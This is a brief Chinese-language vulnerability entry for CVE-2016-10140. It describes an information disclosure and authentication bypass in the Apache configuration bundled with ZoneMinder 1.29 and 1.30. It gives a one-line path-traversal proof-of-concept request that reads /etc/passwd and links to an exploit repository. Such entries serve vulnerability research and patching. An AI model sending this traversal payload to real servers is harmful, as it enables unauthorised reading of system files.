CVE-2016-10140

CVE-2016-10140

漏洞描述：ZoneMinder v1.30和v1.29捆绑的Apache HTTP Server配置中存在信息泄露和认证绕过漏洞，允许远程未认证攻击者浏览web根目录下的所有目录。

POC：/?view=file&path=/../../../../../etc/passwd

EXP：https://github.com/asaotomo/CVE-2016-10140-Zoneminder-Poc